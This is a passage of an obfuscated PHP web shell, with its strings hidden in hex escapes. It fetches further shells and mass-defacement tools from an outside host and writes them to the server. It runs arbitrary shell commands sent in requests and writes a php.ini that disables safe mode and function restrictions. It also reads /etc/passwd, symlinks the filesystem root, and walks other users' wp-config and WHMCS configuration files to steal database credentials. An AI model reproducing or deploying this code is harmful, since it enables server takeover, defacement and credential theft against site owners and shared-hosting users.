65\x20\x3c\x61 \x68\x72\x65f\x3d\x22w\x73s.php\x22\x3e\x3cbl\x69n\x6b><fo\x6e\x74 \x63\x6fl\x6f\x72=\x72\x65d\x3e\x77s\x73\x2ep\x68\x70</\x66\x6f\x6e\x74\x3e\x3c/b\x6cink\x3e</\x61> ";}${"G\x4c\x4fB\x41L\x53"}["y\x76pq\x64\x68"]="r\x73";if($_GET[a]=="a\x64\x6d"){${${"\x47\x4cOB\x41\x4c\x53"}["\x6c\x69\x6e\x67\x6egw\x78"]}=file_get_contents("h\x74tps://s\x75r\x61b\x61\x79a\x62\x6ca\x63\x6bh\x61\x74.g\x6f\x6f\x67\x6c\x65\x63\x6f\x64e\x2ec\x6f\x6d/\x66iles/adm\x2et\x78\x74");${"\x47\x4cOB\x41LS"}["\x76j\x73\x63iutrp\x6fk\x72"]="\x66ile";${${"\x47LO\x42A\x4c\x53"}["\x78ruo\x73\x64"]}=fopen("ad\x6d\x2eph\x70","w");fwrite(${${"GLOBALS"}["\x78\x72\x75\x6f\x73d"]},${${"G\x4cOB\x41\x4c\x53"}["v\x6a\x73\x63\x69u\x74rp\x6fkr"]});fclose(${${"\x47\x4c\x4f\x42ALS"}["\x78ruo\x73d"]});print"<c\x65n\x74e\x72><fon\x74 color=\x22\x77\x68\x69t\x65\"\x3e\x44one\x20\x53he\x6c\x6c\x20\x4e\x61\x6d\x65 <a\x20href\x3d\"\x61\x64m\x2ep\x68p\"><b\x6cin\x6b>\x3c\x66\x6fnt c\x6f\x6cor\x3dr\x65d\x3e\x61\x64\x6d.p\x68\x70</\x66on\x74>\x3c/\x62l\x69n\x6b>\x3c/\x61\x3e ";}if($_GET[a]=="\x77\x6b"){$wrmyjkbcok="\x77x\x72\x6c\x6b\x77\x69\x74l";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x74x\x66\x77\x6fi\x6b\x6c"]}="\x62";${${"G\x4c\x4fB\x41L\x53"}["\x6ci\x6egng\x77x"]}=file_get_contents("\x68\x74tps://\x73\x75r\x61\x62\x61\x79ab\x6c\x61\x63khat\x2egoog\x6c\x65\x63\x6f\x64\x65.\x63\x6f\x6d/f\x69l\x65\x73/\x77\x68\x63\x6ds\x6b\x69l\x6c\x65r.t\x78t");${"\x47L\x4f\x42\x41\x4c\x53"}["y\x6c\x62\x6dru\x6ez\x63sr\x69"]="\x62";${"G\x4cOB\x41LS"}["\x72\x77\x6dof\x69sz\x73c\x65"]="file";${${"G\x4c\x4fB\x41\x4c\x53"}["\x79\x6cbmrunz\x63\x73\x72i"]}=fopen("\x77k.\x70h\x70","\x77");${$wrmyjkbcok}="\x62";fwrite(${${${"\x47\x4cO\x42\x41\x4c\x53"}["o\x6d\x6fo\x66\x68bp"]}},${${"\x47\x4c\x4f\x42AL\x53"}["\x72\x77\x6d\x6ffis\x7a\x73c\x65"]});fclose(${${${"GLO\x42\x41\x4cS"}["t\x78fw\x6fi\x6b\x6c"]}});print"\x3c\x63ent\x65\x72\x3e<\x66o\x6et c\x6f\x6c\x6f\x72\x3d\x22\x77\x68\x69t\x65\x22\x3eD\x6fn\x65\x20\x53\x68e\x6c\x6c\x20N\x61m\x65 \x3c\x61\x20\x68\x72\x65\x66\x3d\"wk.p\x68\x70\x22><\x62l\x69nk><fo\x6et c\x6flo\x72\x3d\x72\x65d>w\x6b\x2ephp\x3c/f\x6fn\x74\x3e</b\x6c\x69n\x6b></\x61> ";}if($_GET[a]=="md"){${"\x47L\x4f\x42AL\x53"}["\x6da\x73sd\x65\x66ac\x65"]="\x66\x69le";${"G\x4c\x4f\x42\x41\x4cS"}["\x6d\x61ss\x64\x65fa\x63\x65\x31"]="\x62";${${"\x47\x4cOBA\x4cS"}["\x6d\x61ss\x64ef\x61\x63\x65"]}=file_get_contents("\x68\x74t\x70s://s\x75raba\x79a\x62\x6ca\x63\x6b\x68\x61\x74\x2eg\x6f\x6f\x67l\x65c\x6fd\x65.\x63o\x6d/f\x69\x6c\x65\x73/ma\x73\x73d\x65\x66\x61ce.\x74xt");${${"\x47\x4cO\x42ALS"}["xru\x6f\x73\x64"]}=fopen("m\x64\x2e\x70h\x70","w");fwrite(${${"\x47\x4cOBA\x4cS"}["\x6da\x73sd\x65\x66\x61\x63e\x31"]},${${"G\x4cOBA\x4c\x53"}["ling\x6eg\x77x"]});fclose(${${"GL\x4f\x42\x41L\x53"}["x\x72uo\x73d"]});print"\x3cc\x65\x6ete\x72><\x66\x6fn\x74 \x63\x6flo\x72=\"whi\x74\x65\x22\x3eDone\x20\x53hel\x6c\x20\x4e\x61me \x3ca \x68ref=\x22\x6dd.p\x68\x70\"\x3e<b\x6cin\x6b>\x3cfon\x74 c\x6f\x6c\x6fr\x3d\x72\x65\x64>\x6d\x64\x2ep\x68\x70\x3c/f\x6f\x6et\x3e</bl\x69\x6ek\x3e\x3c/\x61\x3e ";}if($_GET[a]=="cd"){${"GLO\x42AL\x53"}["\x63ms\x64ete\x63\x74"]="\x66i\x6ce";${"\x47\x4cO\x42AL\x53"}["\x63msde\x74\x65\x63t1"]="\x62";${${"\x47\x4c\x4f\x42\x41LS"}["\x63\x6dsdet\x65ct"]}=file_get_contents("\x68t\x74\x70\x73://su\x72\x61\x62a\x79ablac\x6bha\x74.go\x6fg\x6cec\x6fde\x2e\x63\x6f\x6d/files/\x63\x6d\x73\x64\x65te\x63\x74or.t\x78t");${${"\x47L\x4f\x42\x41L\x53"}["x\x72u\x6f\x73d"]}=fopen("cd\x2ephp","\x77");fwrite(${${"\x47LOB\x41L\x53"}["c\x6d\x73\x64ete\x63\x741"]},${${"GLO\x42A\x4cS"}["\x6c\x69\x6eg\x6egwx"]});fclose(${${"\x47L\x4fB\x41L\x53"}["x\x72u\x6f\x73d"]});print"\x3cc\x65\x6e\x74\x65\x72\x3e<\x66on\x74\x20c\x6f\x6cor\x3d\"\x77\x68i\x74e\x22\x3e\x44\x6fn\x65 Sh\x65\x6c\x6c N\x61\x6de\x20\x3c\x61 h\x72ef=\x22cd\x2ep\x68p\x22>\x3cblink\x3e<\x66\x6fnt \x63o\x6cor\x3dre\x64>cd\x2ephp\x3c/fo\x6et></\x62\x6c\x69n\x6b></a\x3e ";}if($_GET[a]=="\x6d\x70c"){${"\x47\x4c\x4fBAL\x53"}["\x6da\x73\x73\x70a\x73\x73\x63\x68\x61\x6e\x67\x65"]="\x66i\x6c\x65";${"GL\x4f\x42A\x4cS"}["m\x61s\x73p\x61\x73s\x63\x68\x61nge1"]="\x62";${${"G\x4cO\x42ALS"}["\x6d\x61ssp\x61s\x73\x63h\x61n\x67e"]}=file_get_contents("\x68t\x74ps://sura\x62\x61\x79\x61\x62l\x61c\x6b\x68at\x2egoo\x67le\x63\x6f\x64e\x2ecom/\x66i\x6ces/\x6da\x73\x73\x70a\x73s\x63h\x61\x6ege.tx\x74");${${"G\x4cO\x42\x41L\x53"}["x\x72uo\x73d"]}=fopen("\x6dpc\x2ep\x68p","w");fwrite(${${"\x47LO\x42A\x4cS"}["\x6da\x73sp\x61ss\x63han\x67e\x31"]},${${"GL\x4fB\x41\x4c\x53"}["li\x6egng\x77x"]});fclose(${${"G\x4c\x4fBALS"}["xru\x6fs\x64"]});print"\x3c\x63\x65\x6e\x74\x65r\x3e\x3c\x66\x6fn\x74 c\x6flor\x3d\x22wh\x69te\"\x3eDone\x20\x53he\x6cl \x4eame\x20<\x61 \x68\x72\x65\x66=\"m\x70c.p\x68\x70\"\x3e<b\x6c\x69n\x6b\x3e\x3cf\x6f\x6et\x20\x63\x6f\x6co\x72=r\x65d\x3e\x6d\x70\x63\x2e\x70\x68\x70\x3c/f\x6f\x6e\x74\x3e\x3c/bl\x69\x6ek\x3e</\x61\x3e ";}if($_GET[a]=="\x77\x73\x6f"){${"GLOB\x41L\x53"}["wso\x73he\x6cl"]="\x66\x69\x6ce";${"G\x4cO\x42\x41\x4c\x53"}["\x77\x73\x6fsh\x65\x6c\x6c\x31"]="b";${${"\x47\x4c\x4f\x42\x41L\x53"}["w\x73o\x73h\x65\x6c\x6c"]}=file_get_contents("\x68\x74\x74\x70s://sur\x61b\x61\x79\x61\x62\x6ca\x63k\x68\x61\x74.goog\x6cecod\x65\x2e\x63om/fi\x6ces/wso_\x73\x62h.\x74\x78t");${${"\x47L\x4f\x42\x41LS"}["\x78\x72\x75\x6fs\x64"]}=fopen("\x77so.\x70h\x70","w");fwrite(${${"\x47\x4cOBA\x4cS"}["\x77\x73\x6fs\x68\x65l\x6c1"]},${${"\x47\x4c\x4fB\x41L\x53"}["li\x6eg\x6egw\x78"]});fclose(${${"\x47L\x4f\x42A\x4c\x53"}["x\x72u\x6f\x73d"]});print"\x3ccent\x65\x72><\x66\x6fn\x74 \x63ol\x6fr\x3d\x22whit\x65\x22\x3eD\x6f\x6ee\x20\x53\x68e\x6c\x6c N\x61\x6de\x20<\x61\x20\x68\x72ef\x3d\"\x77\x73\x6f.\x70\x68\x70\x22\x3e\x3cbli\x6e\x6b\x3e<\x66\x6fn\x74 \x63\x6f\x6c\x6f\x72\x3dred>\x77s\x6f\x2eph\x70\x3c/\x66o\x6et></\x62l\x69nk\x3e</\x61> ";}if($_GET[a]=="z\x6f\x6e\x65"){${"\x47LOB\x41L\x53"}["\x73\x61\x66emo\x64e\x6f\x66\x66"]="\x66ile";${"\x47\x4c\x4fBA\x4cS"}["s\x61\x66e\x6dode\x6fff\x31"]="b";${${"GL\x4f\x42\x41L\x53"}["s\x61fe\x6d\x6fd\x65\x6f\x66\x66"]}=file_get_contents("\x68ttps://\x73ur\x61bay\x61b\x6cac\x6b\x68at\x2eg\x6fo\x67lec\x6fde.c\x6fm/f\x69\x6c\x65s/\x7ao\x6e\x65-\x68\x2etxt");${${"GL\x4fB\x41\x4cS"}["xr\x75\x6f\x73\x64"]}=fopen("\x7a\x6fne-\x68.\x70h\x70","w");fwrite(${${"G\x4c\x4f\x42\x41LS"}["\x73afem\x6fdeoff\x31"]},${${"G\x4cO\x42\x41\x4cS"}["lingngwx"]});fclose(${${"G\x4cO\x42\x41\x4c\x53"}["\x78ruosd"]});print"\x3cc\x65nte\x72><\x66on\x74 \x63olor\x3d\x22w\x68\x69\x74\x65\x22\x3eDo\x6ee\x20\x42\x79p\x61\x73s\x20\x4eam\x65\x20<a\x20hr\x65f\x3d\x22\x7ao\x6ee-\x68.p\x68\x70\">\x3cbl\x69\x6e\x6b\x3e\x3c\x66\x6fnt c\x6f\x6c\x6fr\x3d\x72\x65d\x3ezone-h\x2e\x70hp\x3c/f\x6f\x6et></b\x6cin\x6b\x3e\x3c/a>\x20";}echo"\x3c\x66\x6fn\x74 \x66a\x63\x65=\x22\x56erd\x61na\x22\x20\x73i\x7a\x65=\x222\x22>\n\n\x3cce\x6e\x74\x65\x72>Una\x6d\x65-a\x20:\x20\x3c\x66ont\x20c\x6f\x6c\x6f\x72=\x22\x238\x3080\x38\x30\x22\x3e".php_uname()."\n\x3cbr>\n";${"GL\x4f\x42\x41L\x53"}["\x69ec\x65n\x65"]="r";echo"\x3c\x63en\x74\x65\x72\x3e<f\x6f\x72m a\x63ti\x6fn=\"\" m\x65\x74h\x6f\x64\x3d\x22\x70\x6f\x73\x74\" enctyp\x65=\x22mu\x6c\x74\x69p\x61\x72\x74/\x66o\x72\x6d-da\x74a\x22 \x6e\x61\x6de=\"up\x6coad\x65\x72\"\x20id\x3d\x22u\x70lo\x61d\x65r\x22>";echo"<cent\x65r><\x69nput\x20t\x79\x70e=\"f\x69\x6ce\x22 n\x61me=\x22f\x69le\x22 \x73i\x7ae=\"\x35\x30\"\x3e<i\x6eput name=\x22_u\x70l\x22\x20\x74y\x70e=\x22s\x75\x62m\x69t\x22\x20id=\"\x5f\x75\x70\x6c\"\x20\x76a\x6c\x75\x65\x3d\x22\x55\x70\x6c\x6f\x61\x64\x22\x3e</\x66o\x72\x6d\x3e</\x63\x65nt\x65r\x3e";${"\x47\x4cO\x42\x41\x4c\x53"}["l\x73q\x74\x78an"]="c";if($_POST["_upl"]=="Up\x6coa\x64"){if(@copy($_FILES["fil\x65"]["tm\x70_\x6ea\x6d\x65"],$_FILES["f\x69\x6c\x65"]["\x6e\x61\x6d\x65"])){echo"<p \x61l\x69\x67n=\x22\x63\x65n\x74\x65\x72\x22\x3e<\x66o\x6et\x20\x66\x61ce=\"\x56er\x64ana\x22\x20\x73\x69z\x65\x3d\"1\"><\x66\x6fn\x74 c\x6f\x6c\x6f\x72=\x22\x77hit\x65\"\x3e \x44\x6f\x6ee\x20\x21\x20\x3c/f\x6fnt\x3e\x3cbr\x3e";}else{echo"<\x66o\x6e\x74\x20\x63o\x6cor=\"\x23\x46F\x30\x30\x30\x30\">F\x61il\x65\x64 !\x20</\x66on\x74></p>\n\n";}}${"\x47LO\x42A\x4cS"}["\x63l\x67qe\x62\x69"]="c\x6dd";${"GLOBAL\x53"}["\x66\x66a\x73\x66r"]="s\x62\x68";${"GL\x4fBA\x4cS"}["\x79\x6ah\x6f\x6bv\x69\x63\x69\x73"]="\x72t";${"\x47L\x4fB\x41L\x53"}["\x62wd\x63i\x79\x64ca"]="\x75s\x72";echo"\x3c/\x62o\x64\x79\x3e<h\x72\x20c\x6f\x6c\x6fr=\"r\x65\x64\x22\x3e\n<\x62o\x64\x79 t\x65x\x74\x3d\x72\x65\x64>\n\x3cform \x6d\x65\x74h\x6fd=P\x4fS\x54\x3e<\x70\x72\x65\x3e[r\x6fot\x40";${"G\x4c\x4f\x42\x41LS"}["vr\x76\x7aohkzr\x79\x62\x6f"]="f";echo$_SERVER["SE\x52\x56\x45R_\x4eAM\x45"];echo" \x7e]\x20\x23 \x3c\x69\x6epu\x74 t\x79p\x65=T\x45\x58T\x20na\x6d\x65\x3d\x22-\x63\x6dd\x22\x20siz\x65\x3d\x36\x34 val\x75\x65=\x22";echo${${"G\x4cO\x42\x41\x4cS"}["o\x6c\x65pv\x72\x75\x6ee"]};echo"\"\x20\n\x73\x74y\x6c\x65\x3d\x22f\x6fnt-fa\x6d\x69\x6cy: Couri\x65\x72\x20\x4e\x65w;\n\x22\x3e \n\x3c/cent\x65r>\n";${${"GLO\x42\x41\x4c\x53"}["ol\x65\x70vrun\x65"]}=$_REQUEST["-\x63md"];echo"\x20\n";if(${${"G\x4c\x4f\x42ALS"}["ole\x70\x76r\x75\x6ee"]}!="")print Shell_Exec(${${"\x47\x4cOBA\x4cS"}["\x63lg\x71\x65b\x69"]});echo"\x3c/pre\x3e<h\x72\x20\x63ol\x6fr=\x22\x72ed\x22><\x63\x65\x6et\x65r\x3e\x3cf\x6f\x6e\x74 \x73ize=\x31>\n<center\x3e\n\n\x3cf\x6f\x72\x6d\x20m\x65t\x68o\x64\x3dpo\x73t><i\x6e\x70u\x74\x20ty\x70\x65\x3ds\x75\x62\x6d\x69\x74\x20\x6eam\x65\x3di\x6ei value=\"P\x48\x50\x2eINI\x22\x20/>\n\x3c\x66\x6fr\x6d me\x74h\x6f\x64=\x70\x6fst\x3e\x3ci\x6e\x70\x75t\x20\x74\x79\x70\x65\x3d\x73\x75bm\x69t n\x61\x6de=\x22u\x73re\x22\x20v\x61\x6c\x75\x65\x3d\x22CR\x41\x43\x4b\x45\x52\" />\x3c/\x66or\x6d>\x3c/f\x6f\x72\x6d\x3e\n\t";${"\x47\x4c\x4fB\x41\x4cS"}["myuit\x75vu\x6a\x6a"]="g";${"\x47L\x4f\x42ALS"}["c\x67\x6f\x71ob\x78y\x68n"]="l\x69nk";if(isset($_POST["ini"])){${"\x47\x4c\x4fB\x41L\x53"}["\x76\x75\x6duk\x77\x77ekk"]="r";${${"GLOBALS"}["ie\x63\x65n\x65"]}=fopen("php\x2e\x69n\x69","w");${${"G\x4cO\x42\x41\x4c\x53"}["w\x72\x6db\x69y\x74\x77\x6f\x72b"]}="\x20di\x73\x61b\x6c\x65\x5ffunc\x74\x69\x6f\x6es\x3dno\x6e\x65\x20\n\x20\x73af\x65_mod\x65\x20= OF\x46 \n \x73afe_mod\x65\x5f\x67\x69d\x20=\x20O\x46\x46 \n\x20\x6fp\x65\x6e\x5f\x62a\x73e\x64ir\x20\x3d\x20\x4f\x46\x46\x20\n \x61\x6cl\x6fw_u\x72\x6c\x5f\x66o\x70\x65n\x20\x3d\x20On\x20";${"GLOB\x41\x4c\x53"}["m\x74mpvs\x6e"]="\x72r";fwrite(${${"GL\x4fBA\x4cS"}["\x76um\x75\x6bw\x77\x65\x6bk"]},${${"G\x4c\x4f\x42ALS"}["\x6d\x74m\x70v\x73n"]});${"G\x4cO\x42A\x4cS"}["y\x65\x70sje\x76x"]="l\x69\x6ek";${${"\x47LOBALS"}["\x63g\x6fq\x6fb\x78\x79\x68n"]}="<\x62\x72\x3e\x3ca\x20\x68ref\x3dp\x68\x70.\x69\x6e\x69\x3e<\x66on\x74\x20colo\x72=w\x68ite\x20s\x69\x7ae\x3d2 fa\x63\x65\x3d\"\x54A\x48O\x4dA\"><\x75\x3e\x3cfo\x6e\x74\x20\x63\x6flor=\x72e\x64>\x44\x4fNE\x3c/fo\x6e\x74> O\x70e\x6e\x20\x74his \x6ci\x6ek\x20\x69n\x20n\x65\x77 \x74a\x62\x20\x74o\x20r\x75n\x20P\x48P.\x49\x4e\x49\x3c/\x75\x3e</fo\x6e\x74></a\x3e";echo${${"G\x4cOB\x41\x4cS"}["\x79\x65\x70sj\x65vx"]};}${"\x47L\x4fB\x41L\x53"}["\x72lkuqrm\x76\x77sl"]="c\x6f\x6efi\x67\x75ra\x74\x69on";if(isset($_POST["u\x73re"])){${"G\x4cOB\x41L\x53"}["\x78tuo\x63\x62x\x72t"]="\x75\x73er\x73";$hgnvybz="\x73c\x6e\x6f\x62\x6e\x65\x73\x73";${$hgnvybz}="use\x72";echo"<\x66orm m\x65\x74\x68o\x64=\x70o\x73\x74>\n\t\x3c\x74ex\x74\x61rea \x72o\x77\x73=1\x30\x20cols=\x35\x30 name\x3d\x75\x73\x65r>";${${"\x47LO\x42AL\x53"}["\x78\x74\x75o\x63b\x78\x72\x74"]}=file("/e\x74c/p\x61s\x73w\x64");foreach(${${"G\x4cO\x42\x41\x4cS"}["vi\x6c\x76z\x69zgf"]}as${${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77ls\x73\x68q\x68jc"]}}){${${"\x47L\x4fBA\x4c\x53"}["\x63\x74ehg\x6a\x65\x63\x63\x76l\x6f"]}="\x73tr";${${"G\x4c\x4f\x42\x41L\x53"}["fbri\x6b\x66ubge"]}="st\x72";${"\x47LO\x42A\x4c\x53"}["nuuev\x72i\x67\x75v"]="\x75\x73er";${${${"G\x4c\x4f\x42\x41L\x53"}["\x63\x74e\x68\x67\x6a\x65\x63\x63\x76\x6co"]}}=explode(":",${${"GL\x4f\x42AL\x53"}["n\x75u\x65v\x72\x69\x67\x75\x76"]});echo${${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x66\x62\x72ikf\x75\x62\x67\x65"]}}[0]."\n";}echo"\x3c/t\x65x\x74area><br\x3e\x3cb\x72>\n\t<i\x6epu\x74\x20\x74\x79p\x65=\x73\x75\x62mi\x74 \x6e\x61me=s\x75\x20va\x6cue=\"\x43\x6c\x69c\x6b\x20H\x65\x72\x65\x20\x54\x6f\x20\x53t\x61rt\x22 /></\x66\x6f\x72\x6d>\n\t";}echo"";error_reporting(0);echo"\x3c\x66\x6fnt\x20co\x6c\x6fr=re\x64 si\x7a\x65=\x32\x20fac\x65=\x22T\x41H\x4fMA\x22\x3e";if(isset($_POST["s\x75"])){${${"GL\x4fB\x41\x4c\x53"}["\x75zqjg\x77\x68\x65\x67\x79\x67\x6d"]}="\x67";$ydwsze="\x73\x75\x63w\x65\x75\x66\x6cl";mkdir("\x73\x62h",0777);${${"G\x4cOBAL\x53"}["wrmbi\x79t\x77\x6fr\x62"]}="\x20O\x70t\x69\x6fn\x73 \x61\x6c\x6c\x20\n Dir\x65\x63\x74\x6fr\x79\x49n\x64\x65\x78 \x53ux.\x68tm\x6c \n\x20\x41\x64\x64\x54yp\x65\x20text/\x70la\x69\x6e .p\x68\x70 \n\x20\x41\x64d\x48an\x64\x6cer\x20s\x65\x72\x76er-\x70a\x72se\x64\x20.p\x68\x70 \n \x41dd\x54y\x70\x65\x20\x74\x65x\x74/\x70\x6cain\x20.\x68\x74ml \n Ad\x64\x48a\x6ed\x6cer\x20t\x78\x74 \x2ehtm\x6c \n Req\x75\x69\x72e\x20\x4e\x6f\x6ee \n S\x61\x74isf\x79 A\x6ey\x20\n \x4f\x50\x54\x49\x4f\x4eS \x49\x6e\x64e\x78e\x73 \x49\x6e\x63\x6c\x75d\x65s E\x78\x65c\x43\x47I \x46ol\x6c\x6f\x77\x53y\x6d\x4cin\x6bs\x20\n\x20\x41\x64d\x48\x61ndl\x65\x72 tx\x74\x20\x2e\x70h\x70 \n AddH\x61\x6ed\x6cer\x20cg\x69-script\x20\x2ec\x67i \n\x20\x41d\x64Handl\x65r\x20\x63\x67i-\x73c\x72i\x70\x74 \x2e\x70\x6c\x20\n \x4fpti\x6fn\x73 \x49\x6ed\x65\x78e\x73 \x46ol\x6cow\x53ymL\x69\x6e\x6bs\x20\n A\x64\x64T\x79p\x65 txt \x2e\x70\x68p\x20\n \x41\x64d\x54y\x70\x65\x20t\x65xt/h\x74\x6d\x6c\x20.sh\x74\x6dl";${${$ydwsze}}=fopen("\x73\x62\x68/\x2ehtac\x63e\x73s","\x77");fwrite(${${"G\x4cO\x42\x41LS"}["myui\x74\x75\x76\x75j\x6a"]},${${"G\x4c\x4f\x42\x41\x4cS"}["\x77\x72mbiytw\x6f\x72\x62"]});${${"G\x4c\x4fB\x41L\x53"}["\x66f\x61\x73\x66r"]}=symlink("/","\x73bh/\x72o\x6f\x74");${"\x47\x4c\x4fBA\x4c\x53"}["\x6cb\x72u\x78\x77\x63m\x78uf"]="\x72";${${"\x47\x4cOBAL\x53"}["y\x6ahok\x76i\x63\x69s"]}="<b\x72>C\x68ec\x6b \x74hi\x73\x20fol\x64er<a \x68re\x66=s\x62h/roo\x74\x3e\x3cfo\x6e\x74 c\x6fl\x6fr=w\x68\x69t\x65 \x73\x69z\x65\x3d3 fac\x65\x3d\x22\x54\x41\x48OMA\">\x20root </f\x6f\x6e\x74></\x61\x3e\x3c\x66\x6f\x6e\x74 c\x6f\x6co\x72\x3dr\x65d\x20\x73i\x7a\x65=3\x20\x66ace=\x22\x54AHO\x4d\x41\"> \x7e </\x66ont>";${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x74\x75\x6d\x6d\x68\x64"]="f";echo"<\x75>$rt</\x75>";${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x7al\x68hgm"]}=mkdir("SB\x48",0777);${${"\x47\x4c\x4fB\x41LS"}["\x69\x65cen\x65"]}=" O\x70\x74i\x6f\x6e\x73 a\x6c\x6c\x20\n \x44i\x72\x65\x63to\x72\x79\x49\x6ede\x78\x20S\x75x\x2ehtml\x20\n\x20A\x64\x64\x54\x79\x70e\x20te\x78t/\x70\x6c\x61\x69\x6e .ph\x70 \n \x41\x64\x64\x48an\x64le\x72\x20ser\x76\x65r-\x70\x61\x72s\x65d \x2eph\x70 \n \x41\x64d\x54ype t\x65\x78\x74/\x70la\x69\x6e .h\x74ml\x20\n \x41\x64d\x48a\x6ed\x6c\x65r t\x78t\x20.\x68tm\x6c \n\x20\x52\x65quire\x20No\x6e\x65\x20\n\x20Sa\x74\x69\x73fy A\x6e\x79 \n\x20\x4fP\x54\x49\x4fN\x53\x20 I\x6ed\x65x\x65\x73\x20I\x6ec\x6cu\x64e\x73 \x45\x78\x65\x63\x43GI \x46o\x6cl\x6f\x77\x53ym\x4cin\x6b\x73\x20\n \x41\x64\x64Hand\x6c\x65\x72\x20t\x78t\x20.php\x20\n\x20\x41ddHan\x64\x6c\x65r\x20\x63gi-\x73c\x72\x69pt \x2e\x63\x67i \n Ad\x64Hand\x6c\x65r c\x67\x69-s\x63r\x69\x70\x74 \x2e\x70l \n Opt\x69\x6fns\x20I\x6ed\x65\x78\x65s\x20F\x6fl\x6c\x6f\x77\x53ym\x4ci\x6ek\x73\x20\n AddT\x79\x70\x65\x20\x74\x78t \x2e\x70hp \n\x20\x41\x64\x64\x54\x79p\x65 \x74\x65\x78t/\x68\x74\x6dl \x2e\x73ht\x6d\x6c";${${"G\x4c\x4fBALS"}["\x76r\x76z\x6f\x68\x6bz\x72y\x62\x6f"]}=fopen("SB\x48/\x2eht\x61c\x63e\x73s","\x77");fwrite(${${"\x47LOBA\x4cS"}["et\x75\x6d\x6dhd"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["lbru\x78wcmxu\x66"]});${${"\x47\x4cOB\x41\x4cS"}["r\x72\x6e\x64\x71\x72g\x78\x71pvw"]}="\x3c\x61\x20\x68\x72\x65f\x3d\x53\x42\x48/>Che\x63k \x74his\x20fol\x64er<fo\x6et co\x6c\x6f\x72\x3dwhi\x74\x65\x20\x73i\x7ae\x3d\x33\x20fa\x63e\x3d\x22T\x41\x48\x4f\x4d\x41\"> \x20confi\x67\x73 \x3c/f\x6fn\x74\x3e\x3c/\x61>";echo"\x3cu>$consym</u>";${${"\x47LOB\x41\x4cS"}["\x62\x77\x64\x63i\x79d\x63a"]}=explode("\n",$_POST["\x75\x73e\x72"]);${${"\x47L\x4f\x42\x41LS"}["r\x6c\x6bu\x71\x72\x6d\x76\x77s\x6c"]}=array("\x77\x70-c\x6f\x6e\x66i\x67\x2e\x70hp","w\x6fr\x64\x70re\x73\x73/wp-c\x6fn\x66\x69\x67.\x70hp","\x63\x6fn\x66i\x67ur\x61t\x69o\x6e\x2e\x70h\x70","bl\x6fg/w\x70-\x63\x6f\x6ef\x69g\x2e\x70hp","jo\x6fmla/co\x6ef\x69\x67u\x72at\x69o\x6e\x2e\x70hp","site/w\x70-co\x6e\x66\x69\x67.\x70hp","\x73i\x74e/con\x66ig\x75ration.ph\x70","\x63\x6d\x73/\x63\x6f\x6e\x66igu\x72at\x69\x6f\x6e\x2e\x70hp","\x76\x62/incl\x75\x64es/c\x6fnf\x69g\x2e\x70\x68p","i\x6e\x63\x6c\x75des/\x63onfi\x67.\x70hp","\x63onf_\x67l\x6fb\x61\x6c.php","\x69\x6e\x63/\x63on\x66\x69\x67\x2ep\x68p","\x63on\x66ig\x2ephp","S\x65tti\x6egs.\x70\x68p","\x73\x69t\x65\x73/\x64e\x66aul\x74/s\x65t\x74i\x6egs\x2e\x70\x68\x70","whm/conf\x69\x67\x75rat\x69on.\x70h\x70","\x77h\x6d\x63s/co\x6ef\x69gu\x72\x61t\x69\x6f\x6e.\x70\x68\x70","\x73u\x70port/\x63\x6fn\x66\x69g\x75ratio\x6e.p\x68p","wh\x6dc/W\x48M/confi\x67\x75rati\x6fn.p\x68\x70","\x77h\x6d/W\x48M\x43S/confi\x67\x75r\x61\x74i\x6fn.p\x68\x70","\x77h\x6d/wh\x6d\x63s/c\x6fnf\x69\x67\x75\x72\x61tio\x6e\x2e\x70\x68p","su\x70\x70o\x72t/c\x6fnfig\x75\x72\x61\x74\x69\x6fn.\x70\x68\x70","c\x6ci\x65\x6e\x74s/\x63\x6f\x6e\x66i\x67u\x72a\x74\x69on.\x70h\x70","\x63l\x69en\x74/con\x66ig\x75\x72\x61\x74i\x6f\x6e.php","\x63\x6c\x69\x65nte\x73/co\x6e\x66\x69\x67u\x72ati\x6fn.p\x68\x70","cl\x69\x65\x6e\x74\x65/co\x6e\x66ig\x75\x72at\x69\x6f\x6e\x2ep\x68p","\x63li\x65\x6et\x73\x75p\x70\x6f\x72\x74/co\x6e\x66\x69gu\x72\x61\x74\x69on.\x70\x68p","\x62ill\x69\x6eg/\x63\x6fn\x66\x69\x67\x75\x72a\x74\x69o\x6e\x2e\x70hp","ad\x6di\x6e/c\x6fn\x66ig\x2e\x70h\x70","\x61d\x6d/\x63o\x6e\x66\x69\x67.\x70\x68p","c\x6ds/c\x6fnfig\x2e\x70hp","i\x6e\x63\x6cu\x64\x65\x73/c\x6fnf\x69\x67\x2e\x70\x68\x70");foreach(${${"GLOBAL\x53"}["bw\x64\x63iyd\x63a"]}as${${"G\x4cO\x42\x41L\x53"}["\x78i\x79\x69\x6e\x7a\x76wyz\x76\x6a"]}){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x72\x79\x6c\x6ennsi\x64\x75\x67"]="u\x73";${"GLO\x42\x41LS"}["p\x6fnp\x65n\x6f"]="con\x66ig\x75r\x61\x74io\x6e";${"G\x4cO\x42A\x4cS"}["\x7ak\x72w\x6bjlr\x64a"]="\x63";${${"G\x4c\x4fBALS"}["u\x72\x79l\x6enn\x73\x69\x64\x75g"]}=trim(${${"GL\x4fB\x41L\x53"}["xi\x79inzv\x77\x79zv\x6a"]});foreach(${${"GLO\x42\x41LS"}["po\x6e\x70eno"]}as${${"G\x4cOBALS"}["\x7a\x6brw\x6bjlr\x64a"]}){${"\x47L\x4f\x42\x41L\x53"}["\x6c\x73\x74\x65\x74\x76"]="\x76\x68\x63\x6fi\x62\x74\x79m\x69l";${${"G\x4c\x4fB\x41\x4c\x53"}["\x6cst\x65\x74\x76"]}="us";${${"GLOBALS"}["yvp\x71dh"]}="/ho\x6d\x65/".${${${"G\x4c\x4fB\x41L\x53"}["\x79m\x67\x70dv"]}}."/p\x75\x62l\x69c\x5fhtml/".${${"G\x4cO\x42\x41\x4cS"}["l\x73\x71\x74\x78a\x6e"]};${${"\x47\x4c\x4f\x42ALS"}["\x73mw\x71\x65r\x66\x63\x71nr"]}="\x75s";${${"\x47\x4cOB\x41\x4c\x53"}["iec\x65\x6e\x65"]}="SB\x48/".${${${"GL\x4f\x42\x41\x4c\x53"}["\x73\x6d\x77\x71\x65\x72\x66c\x71nr"]}}."\x20--\x20".${${"\x47L